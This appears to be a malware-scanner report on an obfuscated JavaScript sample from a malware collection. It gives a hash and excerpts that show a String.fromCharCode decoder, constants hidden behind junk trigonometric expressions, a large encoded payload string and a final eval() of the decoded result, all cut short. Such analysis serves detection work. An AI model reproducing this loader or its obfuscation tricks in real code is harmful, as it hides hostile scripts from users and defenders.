Suspicious ^80% javascript-malware-collection Download

20160526_7635d8cba95c636e939fa463d3872e13.js

obfuscated eval execution

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2569db26eb5fe1d39bdf7d9564259794a465c28b5d1b7e8ac47b4a78ae240bb36da

Evidence

Builds characters with String.fromCharCode lines 70–73

70:60… nupwp.charAt(uoVsgdgOOLTq);}
71function Sc(UChTdVUNmIHMF){return String.fromCharCode(UChTdVUNmIHMF);}
72function PYefPKqHJjhxw(txRZycIIGzEyjX,pRkqsVFg){return String.fromCharCode(txRZycIIGzEyjX,pRkqsVFg);}
73functi …

Numeric sine-square obfuscation expression lines 74–76

74:641… TtGqtFSMCiGL,KPxDFLgAZkTr(mpOmzOlVMPKiB,DOHNYGZHredgLiEZm++));wJmBoZp = TWIWbGmLybLwdr<< (538 + Math.round((Math.pow(Math.sin(577), 2) + Math.pow(Math.cos(577), 2) - 1))-520) | zGJVnJEMuw<< (618 + Math.round((Math.pow(Math.sin(986), 2) + Math.pow(Math.cos(986), 2) - 1))-606) | bNfzyKEwgQ<< (953 + Math.round((Math.pow(Math.sin(337), 2) + Math.pow(Math.cos(337), 2) - 1))-947) | LZFbJtuUDK;kEOyhRvFwPDQltcSnAS = wJmBoZp>> (185 + Math.round((Math.pow(Math.sin(60), 2) + Math.pow(Math.cos(60), 2) - 1))-169) & 0xff;wnEBEo = wJmBoZp>> (700 + Math.round((Math.pow(Math.sin(661), 2) + Math.pow(Math.cos(661), 2) - 1))-692) & 0xff;lRodoZqVotXIGc = wJmBoZp & 0xff;if (bNfzyKEwgQ == (603 + Math.round((Math.pow(Math.sin(70), 2) + Math.pow(Math.cos(70), 2) - 1))-539)) BKywtaUCaPlFv += Sc(kEOyhRvFwPDQltcSnAS);else if (LZFbJtuUDK == (812 + Math.round((Math.pow(Math.sin(169), 2) + Math.pow(Math.cos(169), 2) - 1))-748)) BKywtaUCaPlFv += PYefPKqHJjhxw(kEOyhRvFwPDQltcSnAS, wnEBEo);else BKywtaUCaPlFv += ZKTraKEqaYa(kEOyhRvFwPDQltcSnAS, wnEBEo, lRodoZqVotXIGc);} while (DOHNYGZHredgLiEZm < mpOmzOlVMPKiB.length);return BKywtaUCaPlFv;}
75
76var iUCHzu=irXyakzz("DPgd2VvM2FOl09B9XTz3UraI032MJ3OEQNgAPUIpKGQoTF88UWYJQqIiX9N74qOEQNgAPUIpKOIr098q1OBfXUUsRN2CAsHjHDBuLRm7LG7mJS5zDPflJO8gAqQGAs8C4GIHQF2XAOETTq5R2eYKSOOuYs8k1WOOPUQIAtYu03UjUVUPQqaLVUQ5YNOH1N5AAqgwPsnFUt2XVFEjYVUgXUQQ2GY9PV2wSVEqTqvIQT2l13rpXsvmAFvs03YHYUgQ2d232FzS2eUwATItSWaoQdvlTqEa13E54Frm1sQvRdEQT3Ya2qUERV2JPtUF2OOAYT8RXtEKQN5B4FvB1sn5QFURPtOtRN2nQNQuRtIS4NnQ235YStgEPe29YVEC1Ngw0duhKtUMTNQTQqUHYdgsTs1fJSjaCeY819B8S3rbRCZzHEjeAGQq1DflKszt0t29XVIvKdal0RzJPsYETFjeKC2f2GQmb9yl1Fzg0eQMAFNkXsz5KqULPMNoaR1jIs8q2GZwKozp2GIl0d2O1ea8YdUq4RvM0sql2rONaMaiIomeAGQq1DflKsOMXWIlAdU80eLkXsz5KdI …

Large Base64-like string literal lines 76–78

76:7289… q2WIkHFvO2oBBXtQg2dUXSsIhYVaqJGYw4FvdRG2b0OgPUTQRJS5zDPf=");
77
78eval(irXyakzz("2dEoHGBRRNni1OYjQG7zYeUkXtQg0sufJW5oYWQr1du70dUtH3EM2FOsYU8cXdgOXtPfIraM1dOm2FOkYovFAVnOTtOp2FU5SsIhYVaqIoNx6R7gbmqJYeUkXtQg0su7UdUNUVIG2WaW1E2dYC7gHG5oYWQr1du7UraM1dOm2D5z2dEoH35wSNOa4EQeS3rqSGZzYeUkXtQg0sufJW5oYWQr1du7UdUNUVIG2WaW1E2dYC7gKNaoYVEqYTz9AdUM …